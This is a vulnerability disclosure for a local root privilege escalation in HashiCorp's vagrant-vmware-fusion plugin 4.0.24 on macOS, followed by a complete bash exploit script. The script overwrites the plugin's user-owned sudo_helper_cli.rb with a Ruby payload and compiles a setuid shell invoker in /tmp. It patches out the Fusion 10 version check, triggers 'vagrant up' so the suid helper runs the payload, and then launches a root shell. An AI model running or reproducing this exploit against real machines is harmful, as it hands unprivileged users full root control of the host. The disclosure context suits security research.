Hashicorp vagrant-vmware-fusion 4.0.24 Local Root Privilege Escalation

`I have previously disclosed a couple of bugs in Hashicorp's vagrant-vmware-fusion plugin for vagrant.  
  
Unfortunately the 4.0.23 release which was supposed to fix the previous bug I reported didn't address the issue, so Hashicorp quickly put out another release - 4.0.24 - after that (but didn't update the public changelog on github).  
  
Unfortunately 4.0.24 is still vulnerable, largely due to a fundamental design flaw in the way the plugin is written combined with the need to elevate privileges for certain functions within Fusion.   
  
Because Hashicorp need users to be able to update the plugin as the local non-root user the encrypted ruby code that the plugin is comprised of must remain owned by the non-root user. This means there is a huge attack surface that we can exploit to manipulate the execution of the program and still get root on 4.0.24.  
  
I wrote this exploit before Fusion 10 was released and on the surface 4.0.24 is not compatible with Fusion 10. Curiously though it can be fairly easily tricked into working (at least partially) with Fusion 10 simply by patching out the version check and creating a symlink. I discovered this while trying to get the 4.0.24 exploit working with Fusion 10 installed - we can simply monkey-patch the version check out of the code, create a symlink for a binary that VMWare moved in v10 and then we're away. I was able to vagrant up and ssh into the running vm without any issues. It also means I was able to update the exploit so that it works on Fusion 8.x and Fusion 10.  
  
This seems to be (finally!) fixed properly in 4.0.25 by replacing the suid helper binary with a new go binary that contains all the required elevated operations and doesn't call back to the vulnerable ruby code.   
  
ref:   
https://m4.rkw.io/blog/cve201712579-local-root-privesc-in-hashicorp-vagrantvmwarefusion-4024.html  
  
  
#!/bin/bash  
echo  
echo "**********************************************************"  
echo "* vagrant_vmware_fusion plugin 4.0.24 local root privesc *"  
echo "* by m4rkw - https://m4.rkw.io/blog.html *";  
echo "**********************************************************"  
echo "* works against vmware fusion 8.x and 10.x - even though *"  
echo "* 4.0.24 is not compatible with 10.x, we patch out the *"  
echo "* version check ;) *"  
echo "**********************************************************"  
echo  
  
cleanup() {  
exec 2> /dev/null  
killall -9 vagrant 1>/dev/null 2>/dev/null  
kill -9 `ps auxwww |egrep '\/vagrant up$' |xargs -L1 |cut -d ' ' -f2` &>/dev/null  
exec 2> /dev/tty  
x=`pwd |sed 's/.*\///'`  
if [ "$x" == ".vagrant_vmware_fusion_4024_exp" ] ; then  
cd ..  
rm -rf .vagrant_vmware_fusion_4024_exp  
fi  
cd  
rm -rf .vagrant_vmware_fusion_4024_exp  
if [ -e "$target1.bak" ] ; then  
mv -f $target1.bak $target1  
fi  
if [ -e "$target2.orig" ] ; then  
mv -f $target2.orig $target2  
fi  
}  
  
vuln=`find ~/.vagrant.d//gems/2.3.4/gems/vagrant-vmware-fusion-4.0.24/bin -type f -perm +4000`  
  
if [ "$vuln" == "" ] ; then  
echo "Vulnerable suid binary not found. It gets +s after the first vagrant up."  
exit 1  
fi  
  
mkdir .vagrant_vmware_fusion_4024_exp  
cd .vagrant_vmware_fusion_4024_exp  
  
echo "Looking for a vmware_desktop vagrant box ..."  
  
box=`vagrant box list |grep '(vmware_desktop' |head -n1 |cut -d ' ' -f1`  
  
download=0  
  
if [ "$box" == "" ] ; then  
download=1  
echo "No box found, defaulting to envimation/ubuntu-xenial ..."  
box="envimation/ubuntu-xenial"  
fi  
  
echo "Writing a dummy vagrantfile ..."  
  
cat > vagrantfile <<EOF  
Vagrant.configure('2') do |config|  
config.vm.box = '$box'  
end  
EOF  
  
echo "Compiling the shell invoker ..."  
  
cat > /tmp/v.c <<EOF2  
#include <unistd.h>  
int main()  
{  
setuid(0);  
seteuid(0);  
execl("/bin/bash","bash","-c","rm -f /tmp/v; /bin/bash",NULL);  
return 0;  
}  
EOF2  
gcc -o /tmp/v /tmp/v.c  
rm -f /tmp/v.c  
  
echo "Looking for the sudo_helper_cli.rb ..."  
  
target1=`find ~/.vagrant.d/ -name sudo_helper_cli.rb |grep vagrant-vmware-fusion-4.0.24`  
  
if [ $target1 == "" ] ; then  
cleanup  
echo "sudo_helper_cli.rb version 4.0.24 not found"  
exit 1  
fi  
  
echo "Installing ruby payload ..."  
  
if [ ! -e "$target1.bak" ] ; then  
mv -f $target1 $target1.bak  
if [ ! $? -eq 0 ] ; then  
cleanup  
echo "Unable to rename $target1, may not be exploitable."  
exit 1  
fi  
fi  
  
cat > $target1 <<EOF  
#!/usr/bin/env ruby  
class HashiCorp::VagrantVMwarefusion::SudoHelperCLI  
def run(x)  
\`chown root:wheel /tmp/v\`  
\`chmod 4755 /tmp/v\`  
end  
end  
EOF  
  
if [ ! $? -eq 0 ] ; then  
cleanup  
echo "Unable to write to $target1, may not be exploitable."  
exit 1  
fi  
  
vc=`/Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx -v 2>&1 |grep 'VMware Fusion 10.'`  
  
if [ "$vc" != "" ] ; then  
echo "Fusion 10.x detected, Patching out the version check ..."  
  
target2=`find ~/.vagrant.d/ -name driver.rb |grep vagrant-vmware-fusion-4.0.24`  
  
if [ "$target2" == "" ] ; then  
cleanup  
echo "driver.rb version 4.0.24 not found"  
exit 1  
fi  
  
if [ ! -e "$target2.orig" ] ; then  
mv -f $target2 $target2.orig  
if [ ! $? -eq 0 ] ; then  
cleanup  
echo "Unable to rename $target2, may not be exploitable."  
exit 1  
fi  
fi  
  
cat > $target2 <<EOF  
load File.dirname(__FILE__) + "/driver.rb.orig"  
  
module DriverVersionHack  
def verify!  
end  
end  
  
class HashiCorp::VagrantVMwarefusion::Driver::Fusion  
prepend DriverVersionHack  
end  
EOF  
fi  
  
echo "Triggering vagrant up ..."  
  
vagrant up &>/dev/null &  
  
success=0  
  
  
if [ $download -eq 1 ] ; then  
echo "*** we need to download the vmware box so this will take a minute or two ***"  
fi  
  
echo "Waiting for payload to trigger ..."  
  
count=0  
  
while :  
do  
r=`ls -la /tmp/v |grep -- '-rwsr-xr-x 1 root wheel'`  
if [ "$r" != "" ] ; then  
success=1  
break  
fi  
r=`ps auxwww |egrep '\/vagrant up$'`  
if [ "$r" == "" ] ; then  
break  
fi  
sleep 0.2  
count=$(($count + 1))  
if [ $count -eq 150 ] ; then  
echo "Timed out waiting for the payload to trigger."  
cleanup  
exit 1  
fi  
done  
  
cleanup  
  
if [ ! $success -eq 1 ] ; then  
echo "Exploit failed."  
exit 1  
fi  
  
echo  
  
/tmp/v  
`